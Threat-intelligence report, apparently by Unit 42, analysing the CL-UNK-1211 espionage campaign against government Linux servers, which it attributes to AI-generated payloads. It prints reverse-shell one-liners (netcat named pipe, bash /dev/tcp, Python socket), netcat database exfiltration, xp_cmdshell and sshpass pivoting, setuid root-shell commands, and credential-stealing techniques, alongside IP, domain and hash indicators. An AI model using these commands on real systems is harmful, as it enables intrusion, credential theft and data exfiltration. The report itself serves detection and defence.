AI-Powered Espionage Campaign Targets Government Linux Infrastructure

Palo Alto Networks' Unit 42 identified a campaign, tracked as CL-UNK-1211, that targeted government entities and state-affiliated infrastructure with AI-generated payloads between October 2025 and April 2026. The attackers focused on Linux environments, deploying open-source tools, custom cross-platform backdoors and web shells to dump databases and exfiltrate government mailboxes, while disabling endpoint protections, erasing system logs and planting deceptive red-team markers to disguise the intrusion as a legitimate security assessment. Unit 42 said the artifacts contained AI-made conversational annotations and developer reasoning comments, indicating the code was generated by large language models or executed by an automated AI agent, and attributed the cluster to UNK because its affiliation with nation-state or cybercrime activity is undetermined.

Unit 42 identified a campaign targeting government entities and state-affiliated infrastructure, with observed activity spanning from October 2025–April 2026. We track this activity as CL-UNK-1211. In the operations we witnessed, the attackers relied on AI-generated payloads. Multiple artifacts deployed throughout the intrusion contained AI-made conversational annotations and developer reasoning comments, suggesting that the code was either generated using large language models LLMs or executed by an automated AI agent. The attackers behind this cluster of activity focused on Linux environments to conduct extensive reconnaissance and maintain persistent network access to support intelligence-gathering. The attackers attempted to dump sensitive databases and exfiltrate government mailboxes to access social media accounts. The campaign included a diverse toolkit that combined open-source tools, custom cross-platform backdoors and widespread web shell deployments. We observed various defense evasion techniques, including attempts to disable endpoint protections, erase system logs and plant deceptive red-team markers to disguise activity as a legitimate security assessment. Our attribution of this activity to CL-UNK-1211 is in accordance with the Unit 42 attribution framework https://unit42.paloaltonetworks.com/unit-42-attribution-framework/ . We designate the term UNK to clusters of activity whose affiliation with either nation-state or cybercrime activity we have not yet determined. This investigation uncovers the defining tools, techniques and attack patterns of this activity cluster. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: - Advanced WildFire https://docs.paloaltonetworks.com/wildfire - Advanced URL Filtering https://docs.paloaltonetworks.com/advanced-url-filtering , Advanced DNS Security https://docs.paloaltonetworks.com/dns-security and Advanced IP Defense https://www.paloaltonetworks.com/network-security/advanced-ip-defense - Cortex XDR Analytics Engine https://cortex-docs.paloaltonetworks.com/cortex-xdr-3.x/cortex-xdr-3.x-documentation/detect-threats-and-analyze-data/analytics/analytics-engine - Cortex XDR https://www.paloaltonetworks.com/cortex/cortex-xdr? gl=1 13pmp8e ga NzQyNjM2NzkuMTY2NjY3OTczNw.. ga KS2MELEEFC MTY2OTczNjA2MS4zMS4wLjE2Njk3MzYwNjEuNjAuMC4w and XSIAM https://www.paloaltonetworks.com/resources/datasheets/cortex-xsiam-aag - Cortex Cloud https://docs-cortex.paloaltonetworks.com/r/Cortex-CLOUD/Cortex-Cloud-Runtime-Security-Documentation/What-is-Cortex-Cloud-Identity-Security The Unit 42 AI Security Assessment https://www.paloaltonetworks.com/unit42/assess/ai-security-assessment and Unit 42 Frontier AI Defense https://www.paloaltonetworks.com/unit42/ai-advantage service can help identify and mitigate complex AI-enabled risks. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team https://start.paloaltonetworks.com/contact-unit42.html . | Related Unit 42 Topics | AI https://unit42.paloaltonetworks.com/tag/ai/ , Credential Harvesting https://unit42.paloaltonetworks.com/tag/credential-harvesting/ , Linux https://unit42.paloaltonetworks.com/tag/linux/ | Our analysis of the CL-UNK-1211 cluster of activity reveals a versatile operational playbook tailored to enterprise Linux and database environments. The attackers targeted government entities and state-affiliated infrastructure, maintaining persistent access by using a combination of custom cross-platform backdoors, open-source utilities and widespread web shell deployments. The attackers enumerated mailboxes to identify and gain access to social media accounts tied to government email addresses. In addition, they dumped entire database contents before attempting to exfiltrate the data. The attackers behind CL-UNK-1211 exhibited a methodical approach to defense evasion. This included attempting to disable endpoint protections on compromised systems, and to tamper with system logs that might contain evidence of the attack. We provide a comprehensive analysis of the defining tools, techniques and procedures TTPs used throughout the operation, highlighting how the attackers leveraged AI to streamline payload creation across their execution workflow. Our analysis details key mechanisms across the attack chain. These include: - Initial access via web shell deployment and credential harvesting - Custom RAT execution - Mailbox targeting - Anti-forensics measures Throughout the operation, the attackers relied on malicious PHP and shell scripts to maintain persistence, perform reconnaissance and exfiltrate data. These payloads revealed structural patterns and artifacts consistent with AI-assisted code generation. Rather than standard developer documentation, multiple scripts contained conversational, step-by-step reasoning notes. These notes explained the code’s logic to the operator who provided the initial instructions. Their presence suggests that the code was either copied directly from an AI prompt output or deployed by an automated AI agent. In addition, we identified several common characteristics that are consistent with AI-operated attacks, such as: - Section headers in scripts and shell commands, which AI uses to analyze the output faster - Extensive use of Base64-encoded commands - Seamless switching between different technologies throughout the attack, including PHP, JavaScript, Bash and Python Figure 1 shows snippets of code from scripts used by the attackers that contained AI-generated comments. To gain access and maintain a persistent backdoor into the host networks, the attackers deployed a variety of web shells on the targeted Linux servers. These were a combination of custom and open-source web shells found on GitHub. Figure 2 shows interactive web shell activity from the php-fpm parent process. To achieve persistence, the attackers modified the auto prepend file value across all PHP configurations under the directories /etc/php/ and /opt/plesk/php/. These directories store all default PHP configuration files and Plesk https://www.hostinger.com/tutorials/what-is-plesk/ web hosting control panel configuration files. Any file that is specified in the modified auto prepend file value will automatically load and execute before any other PHP script runs. In one instance, the attackers deployed a malicious PHP web shell as a file named /usr/lib/php/plesk sys driver.php to appear legitimate. They also modified the auto prepend file to load the malicious web shell to ensure persistence. Figure 3 shows the attacker-deployed PHP script, including the original inline comments. The attackers used multiple methods to gather credentials in the targeted environments, including: - Editing the .bashrc file - Inserting malicious lines of code into PHP scripts - Scanning the network for cleartext passwords The attackers replaced the .bashrc https://www.digitalocean.com/community/tutorials/bashrc-file-in-linux file with a copy containing a malicious command that steals victims’ passwords. In one instance, they created an alias for the sudo command that was designed to execute each time a user attempted to run it. The malicious command: - Displays a prompt for the user to insert their password mimicking the standard system authentication prompt - Captures the inserted password - Writes it to the attackers’ log file The harvested password is then passed to the legitimate sudo command for execution, leaving the victim unaware of the underlying interception. The attackers named the log file Solarwinds.StatusLog.txt, to mimic legitimate SolarWinds activity in the environment. We have no evidence of SolarWinds systems and infrastructure being compromised during this operation; the attackers misused the organization’s name as an evasion method. Figure 4 shows the command hijacking technique inside the .bashrc file. The attackers inserted a line of code into a PHP login page — most likely targeting a database authentication routine — to harvest admin credentials. If an administrator logs in, the code forwards the username and password to the attackers’ log file. Figure 5 shows a snippet of a PHP script including the code added by the attackers. The attackers searched for email, SMTP and database passwords inside configuration files and command history files. Figure 6 shows an example of commands that the attackers used to search for cleartext passwords. The attackers deployed a custom-developed, multi-platform remote access Trojan RAT written in Go, first observed under the benign file name sys-control-client. We named this malware SysGoRAT. This malware supports cross-platform execution on Windows and Linux and employs multiple persistence methods to maintain long-term access. The malware established a command and control C2 connection over WebSocket to wss://<addr /ws. This WebSocket address defaults to a hardcoded IP address 104.194.158 . 65:443, which the malware operator can modify via a command-line parameter at execution. SysGoRAT supports a fixed set of seven command types, described in Table 1. | Action | Behavior | | command | Executes arbitrary commands via /bin/sh -c Linux or cmd /C Windows | | control | Dispatches one of four sub-actions see Control Sub-Actions in Appendix A post-188392- 2mzkydfap19g | | list dir | Lists directory content | | shell input | Creates an interactive shell session | | proxy connect | Establishes a TCP connection to an arbitrary target | | proxy data | Relays data bidirectionally to an established proxy connection | | proxy close | Terminates and removes a proxy session | Table 1. SysGoRAT command types. The malware’s sub-actions provide additional capabilities and persistence methods, detailed in Appendix A post-188392- si9n4ddcj3em . The attackers renamed the binary on disk to blend in, using different benign names on targeted endpoints, including: - sys-control-client - pip2.7 - ea install - ./semanage The attackers employed multiple reverse shell techniques across at least seven distinct C2 servers. To avoid leaving forensic artifacts on the disk, these shells operated almost entirely in memory using built-in system utilities: - Named pipe via Netcat: The primary method, deployed across three separate C2 servers, used a named pipe pattern to execute bash commands directly over a network socket. | 1 | rm /tmp/f; mkfifo /tmp/f; cat /tmp/f \| bash -i 2 &1 \| nc <C2 <port /tmp/f | - Bash TCP redirects: The attackers redirected the output of bash commands to an attacker-controlled external IP address. | 1 | bash -i & /dev/tcp/ IP / PORT 0 &1 | - Python subprocesses: The attackers ran a Python script to spawn a remote interactive shell. They achieved this by opening an outbound network socket and binding it to a /bin/bash process, giving them an accessible command-line interface. | 1 | python3 -c "import socket,subprocess,os; s=socket.socket ... ; s.connect ' IP ', PORT ; os.dup2 ... ; subprocess.call '/bin/bash','-i' " | Organizations can defend against reverse shell techniques by enforcing strict outbound firewall rules and using endpoint detection to spot standard utilities that spawn interactive shells. Figure 7 shows the reverse shell command that Cortex XDR detected and prevented. The attackers targeted official government mail servers to steal emails and facilitate access to external social media accounts. In this operation, the attackers enumerated the /var/qmail/mailnames/ directories for several domains and counted the number of emails stored in specific users’ Maildir/cur/ directories to identify targets. Next, the attackers searched for social media-related emails. They deployed a PHP script, named search social.php, that searched for specific keywords in email headers and displayed the results in a user-friendly format. Figure 8 shows the first part of the script. The script then parsed the response and displayed the exact file path, social media account email sender, recipient and subject. Figure 9 demonstrates the expected output. After identifying the specific emails they wanted to exfiltrate, the attackers attempted to generate a bash script named zip mails.sh that would iterate through users’ directories and compress their emails into ZIP archives. Figure 10 shows this command. This bash script is intended to exfiltrate an entire mailbox rather than a specific social-media-related file identified by the previously analyzed script. In this particular instance, we found that the script contained syntax errors, such as a broken variable assignment user=\; and would fail upon execution. We found indications that the attackers also intended to exfiltrate multiple databases and steal highly sensitive government data. The data exfiltration techniques the attackers used are detailed in Appendix B post-188392- lco5s1bjycyb . A core component of the attackers’ playbook involved anti-forensics techniques, specifically: - Attempting to disable endpoint protections - Tampering with logs - Timestomping https://attack.mitre.org/techniques/T1070/006/ - Disguising malicious activity - Deleting residual artifacts to hinder post-incident analysis This section details the specific evasion techniques and cleanup commands the attackers used to cover their tracks. One of the techniques the attackers used for defense evasion was an attempt to disable security protection devices on the compromised hosts. As Figure 11 shows, the attackers executed bash scripts that use the Linux commands pgrep and pkill to attempt to terminate Cortex XDR-related processes on infected systems. These attempts were successfully detected and mitigated by Cortex XDR, with telemetry confirming that endpoint protections were not suppressed. Throughout the campaign, the attackers ensured that single-use scripts were removed after execution by formulating a single command that: - Wrote the script to disk - Executed the script - Removed the script using rm Figure 12 shows an example of this procedure as executed by the attackers. For scripts that were meant for long-term use, the attackers used timestomping. They used the command touch -t to change the access and modification time of malicious files, to make them appear as if they were created long before the attack started. The goal of this technique is to evade analysis by misleading analysts into believing the file is unrelated to malicious activity, due to its creation time predating the attack timeline. In several instances, we observed the attackers employing planted deception techniques to mislead post-incident analysis. They attempted to disguise their activity as a red team operation, by using operational indicators such as the key RedTeamOps2025 in one of the malicious scripts, and pentest123 as a password for a user the attackers created. Following the exfiltration attempts, the attackers initiated a full cleanup of log files and malicious residual files on the systems. This cleanup included attempts to delete logs related to: - Authentication - Command history - Email activity - Operating system OS - Web server - Active PHP user sessions Figure 13 shows the execution of shell commands to delete various log files from the system. Following the mass log deletion, the attackers executed several automated cleanup commands and scripts, and verified that any evidence of the exfiltration was deleted. Figure 14 shows one of the attackers’ cleanup scripts, including the original inline comments. The script attempts to delete various logs across the system for a second time and to remove any files from /tmp/, where the attackers stored malicious scripts. After the cleanup phase, the attackers attempted to verify the removal of evidence, checking whether IP addresses they used were removed from system log files, as Figure 15 shows. Additional commonly used TTPs that the attackers leveraged throughout the campaign are detailed in Appendix B post-188392- lco5s1bjycyb . This campaign demonstrates how attackers are combining traditional post-exploitation techniques with AI-accelerated workflows to target governmental Linux server infrastructure. By leveraging AI to rapidly generate, adapt and deploy operational scripts, the attackers behind CL-UNK-1211 maintained a fast pace of operation while minimizing manual developer overhead. The attackers behind this activity exhibited a deep understanding of the Linux OS, employing techniques such as: - Global PHP configuration hijacking for persistent access - Command-line credential harvesting and privilege escalation using different shells Alongside open-source utilities, their toolkit featured custom tools, including a multi-platform Go RAT and custom vulnerability scanners. The attackers also maintained a thorough cleanup strategy to thwart forensic analysis, by erasing system logs and attempting to disable endpoint protections. Despite these evasion efforts, endpoint security controls effectively neutralized their activity. Cortex XDR detected and prevented the process termination attempts targeting the agent. Attackers continue to adopt AI to streamline payload development and scale their campaigns. Comprehensive visibility into Linux servers, databases and environments remains critical to countering attackers’ efforts and strengthening enterprise security. We used the Cortex Agentic Assistant https://cortex-docs.paloaltonetworks.com/cortex-agentix/learn-about-cortex-agentix/get-started-with-cortex-agentix , powered by Cortex AgentiX, to streamline this investigation. The Assistant enabled the team to query the data using natural language, providing deeper context and insights, and suggesting clear recommendations for what researchers should do next. Figures 16 and 17 show examples of output from Cortex AgentiX. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: The Advanced WildFire https://docs.paloaltonetworks.com/wildfire machine-learning models, analysis techniques and detection rules have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering https://docs.paloaltonetworks.com/advanced-url-filtering , Advanced DNS Security https://docs.paloaltonetworks.com/dns-security and Advanced IP Defense https://www.paloaltonetworks.com/network-security/advanced-ip-defense are designed to identify known domains and URLs associated with this activity as malicious. Cortex XDR Analytics Engine https://cortex-docs.paloaltonetworks.com/cortex-xdr-3.x/cortex-xdr-3.x-documentation/detect-threats-and-analyze-data/analytics/analytics-engine enhances behavioral detection for Linux through specialized mechanisms: - Uncommon attempt to clear shell history : This detector identifies attempts to manipulate or erase shell history files, highlighting defense evasion activity as part of the EDR Linux Evasion suite to reveal uncommon attempts to evade defenses, impair security controls, and erase traces of malicious activity. Figure 18 displays an “Uncommon attempt to clear shell history” alert that CL-UNK-1211 activity triggered. Cortex XDR https://www.paloaltonetworks.com/cortex/cortex-xdr? gl=1 13pmp8e ga NzQyNjM2NzkuMTY2NjY3OTczNw.. ga KS2MELEEFC MTY2OTczNjA2MS4zMS4wLjE2Njk3MzYwNjEuNjAuMC4w and XSIAM https://www.paloaltonetworks.com/resources/datasheets/cortex-xsiam-aag are designed to prevent the threats described in this article, by employing the Malware Prevention Engine https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection . This approach combines several layers of protection, including Advanced WildFire https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection , Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. Cortex Cloud https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection is designed to help protect cloud posture and runtime operations against identity-driven threats by pairing static permission baselines with deep behavioral context. By embedding the functional identity baselines discussed in this research into our detection engine for both cloud VM compute https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection and serverless agents https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection , Cortex Cloud adds a vital layer of operational context, enabling security teams to filter out noisy false positives and decisively catch threat actors attempting to masquerade, alter configurations, or execute anomalous operations in the environment. The Unit 42 AI Security Assessment https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-4.x-Documentation/Malware-protection and Unit 42 Frontier AI Defense https://www.paloaltonetworks.com/unit42/ai-advantage service can help identify and mitigate complex AI-enabled risks. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team https://start.paloaltonetworks.com/contact-unit42.html or call: - North America: Toll Free: +1 866 486-4842 866.4.UNIT42 - UK: +44.20.3743.3660 - Europe and Middle East: +31.20.299.3130 - Asia: +65.6983.8730 - Japan: +81.50.1790.0200 - Australia: +61.2.4062.7950 - India: 000 800 050 45107 - South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance CTA members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance https://www.cyberthreatalliance.org . CVE-2025-55182 React2Shell vulnerability scanner - 2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e - 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704 - d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd - 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e Custom shell backdoor for privilege escalation - c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343 GSocket reverse shell - d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa CVE-2021-4034 PwnKit binary - 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879 PHP web shells - 1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a - 76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5 - b1e82c6b0caea177e8bb71ad826867f509c65f0a43a651b50253e7c726566eac - 45.88.188 . 140 - 198.23.185 . 234 - 138.68.244 . 146 - 185.21.136 . 6 - 72.61.89 . 179 - 104.194.158 . 65 - 109.224.53 . 140 - 162.243.175 . 162 - 154.93.37 . 228 - 141.164.58 . 87 - 88.80.150 . 232 - 88.119.167 . 57 - 173.212.247 . 23 - 104.248.131 . 53 - 147.182.224 . 216 - 93.93.112 . 57 - 192.210.183 . 17 - magento . ink - solidmonpe . com - wibu-bau-bawang . online - beraskencur . site First observed as sys-control-client, SysGoRAT is a custom RAT developed by the attackers. The SysGoRAT malware had seven available command types, each with additional control sub-actions. When the C2 server sends a control message, SysGoRAT triggers one of four specific operational actions. | Action | Behavior | | shell start | Spawns an interactive /bin/bash process | | screenshot | Captures the current display as an image and returns it to the C2 | | download | Reads a specified file, optionally compresses it with gzip, and exfiltrates it to the C2 | | persist | Installs persistence using one of six supported methods see next table | Table 2. SysGoRAT control sub-actions. The persist action, triggered by the malware’s control message, supports six different installation methods for cross-platform environments. All methods use artifact names designed to masquerade as legitimate software. | Method | Operating System | Behavior | | systemd | Linux | The malware copies itself to /usr/local/bin/; writes a unit service file to /etc/systemd/system/sys-update.service; reloads and enables the service | | cron | Linux | Creates a crontab entry with a five-minute execution interval | | registry | Windows | The malware copies itself to %APPDATA%\Onedrive Update\Updater.exe and adds a Run key to HKCU | | schtasks | Windows | Creates a daily scheduled task named Onedrive | | complex | Linux/Windows | Automatically selects the optimal method based on the detected OS without checking user permissions | | auto | Linux/Windows | Automatically selects the optimal method based on the detected OS and user permissions | Table 3. SysGoRAT persist sub-actions. The following section provides an analysis of additional TTPs associated with the CL-UNK-1211 activity cluster. The TTPs described in this appendix are more common in the broader threat landscape than those discussed previously. After gaining access to Linux servers, the attackers escalated their privileges. They started by deploying and executing an open-source tool called LinPEAS https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS to check for local privilege escalation paths. Next, they used another open-source tool — PwnKit https://github.com/ly4k/PwnKit , a self-contained exploit for CVE-2021-4034 https://nvd.nist.gov/vuln/detail/cve-2021-4034 — in an attempt to gain root privileges on the system. Once the attackers obtained root privileges, they deployed various binaries with the goal of maintaining root access: - A renamed legitimate Python 3 interpreter: The attackers used the Python 3 interpreter and renamed it to .libpython-helper to execute shell commands with high privileges. They achieved this by using the Python commands os.setuid 0 and os.setgid 0 , which set root privileges for the shell.Following is an example of a command used: 12/usr/lib/x86 64-linux-gnu/.libpython-helper -c import os;os.setuid 0 ;os.setgid 0 ;os.system "<command " - Custom SUID root shell: This backdoor is dropped with the name .libsystemd-helper, and elevates itself to root privileges. It executes arbitrary shell commands via /bin/sh by running setuid with an argument of zero, followed by setgid with an argument of zero. - A renamed legitimate /bin/bash binary: The attackers wrote to disk a file named .tourch and modified its permissions using the command chmod u+s, allowing any user to execute commands as the file owner — which in this case was root. Because .tourch is actually the /bin/bash binary, this allowed the attackers to execute bash commands as root. The attackers leveraged a variety of reconnaissance techniques to identify and map high-value servers across compromised networks. The attackers used multiple PHP scripts to conduct reconnaissance of the target networks. The scripts were used to scan the network for SQL servers, enumerate databases, and enumerate various domain artifacts. These artifacts included users, computers and open shares. Figure 19 shows one of the scripts the attackers used to scan for SQL servers. The attackers deployed a custom vulnerability scanner written in Go that scans for servers vulnerable to CVE-2025-55182 https://nvd.nist.gov/vuln/detail/CVE-2025-55182 React2Shell . Figure 20 shows the “Help” output of the scanner. To bypass internal firewalls and extend their access beyond the initially compromised web servers, the attackers employed a combination of database features, custom malware and open-source proxy tools. These methods enabled the attackers to bypass firewalls, route traffic into the network and execute commands across multiple servers. Throughout the operation, the attackers used a web shell to deploy Base64-encoded PHP scripts. They started by enabling command execution on an internal MSSQL server using XP CMDSHELL: | 1 | EXEC sp configure 'show advanced options', 1; RECONFIGURE; EXEC sp configure 'xp cmdshell', 1; RECONFIGURE;. | The attackers identified the network segment they wanted to reach, and then created a double-hop execution chain to reach another segment within the network. This involved routing commands from the compromised web server through an initial MSSQL server to reach a secondary SQL server on a different subnet. They verified the routing and started executing OS-level commands on the second host. Following is an observed instance of a whoami command execution through a double-hop execution chain: | 1 | EXEC xp cmdshell 'sqlcmd -S \ SERVER IP -U \ USERNAME -P "\ PASSWORD " -Q "EXEC xp cmdshell ''whoami''" -t 10 2 &1' | The attackers also used the sshpass command with hard-coded administrative credentials to enable lateral movement across the internal network. The following command structure was used to pivot across internal Secure Shell SSH targets: | 1 | sshpass -p PASSWORD ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 USERNAME @ IP ADDRESS COMMAND 2 &1" | After establishing a successful SSH session on a target, the attackers executed follow-up commands to further compromise the environment. Observed post-pivot commands included: - Running the id command to verify user context and access levels - Reading the /etc/shadow file to steal password hashes - Using find to search for wp-config.php files containing database passwords - Listing home directories and .git repositories to map the server’s contents - Executing custom PHP scripts over SSH The attackers achieved SSH-based persistence by injecting an SSH public key into the compromised user’s authorized keys file. This establishes passwordless remote shell access. Following is the command sequence the attackers executed to install the SSH backdoor: 1. Ensure the hidden .ssh directory exists 2. Restrict directory access only to the owner using chmod 700 3. Append the malicious public key to the authorized keys file 4. Set strict permissions on the authorized keys file Figure 21 shows the observed command. The attackers deployed a variety of tunneling and proxy tools, while employing multiple techniques to maintain persistence and evade detection: - revsocks : The attackers deployed the open-source tool revsocks https://github.com/kost/revsocks , a reverse SOCKS5 tunneling tool with SSL/TLS and proxy support. - pysoxy : The tool set also included pysoxy https://github.com/MisterDaneel/pysoxy/ , an open-source Python SOCKS proxy script used to route traffic. - GSocket and gs-netcat: The attackers misused Global Socket https://www.gsocket.io/ , a framework designed to solve NAT and firewall traversal problems. They deployed the framework’s binary, gs-netcat, which forces the internal host to establish an outbound connection to the public relay server gsocket . io . This binary was stored in /dev/shm/.gs-10085/ and executed under the disguised process name kcached mimicking a kernel cache thread , alongside the binary gs-dbus mimicking the D-Bus system . Execution parameters were passed via the environment variable GSOCKET ARGS to hide them from process monitoring, and the spawned sessions were configured with HISTFILE=/dev/null to prevent shell command history from being logged to disk. The attackers used a combination of methods to extract sensitive data. We observed how they dumped entire database contents into compressed local archives before attempting to exfiltrate them to their C2 infrastructure. They also misused legitimate file-hosting platforms to blend the outgoing data with standard web traffic. Exfiltration attempts began with attackers using the echo command to print small data samples directly to the terminal, using TOP clauses to limit the output. They subsequently attempted a structured dump, writing four tables, each capped at 100 rows, to a local SQLite database named dump.sqlite. Figure 22 shows the command sampling 100 results from four tables into /tmp/dump.sqlite. After examining a small sample of archived data, the attackers proceeded to full database dumps. They targeted large databases and wrote the output to local CSV files. Figure 23 shows the next phase, dumping all data from the four tables into a local file. Following that, the attackers compressed the dumps and attempted to exfiltrate them to a C2 server using the netcat command: | 1 2 | tar -czf /tmp/ DB NAME dump.tar.gz -C /tmp DB NAME nc IP PORT < /tmp/ DB NAME dump.tar.gz | The attackers tried to disguise their exfiltration activity as standard HTTPS web traffic by misusing legitimate file-hosting platforms. They used the curl command-line utility without establishing a dedicated C2 connection, and tried to upload the data to legitimate file-hosting platforms, such as: - transfer . sh - bashupload . com - filebin . net Another script shows that the attackers searched a server for WordPress configuration files wp-config.php and extracted hard-coded database credentials in order to upload the output to the catbox . moe API. Figure 24 shows the search and exfiltration script.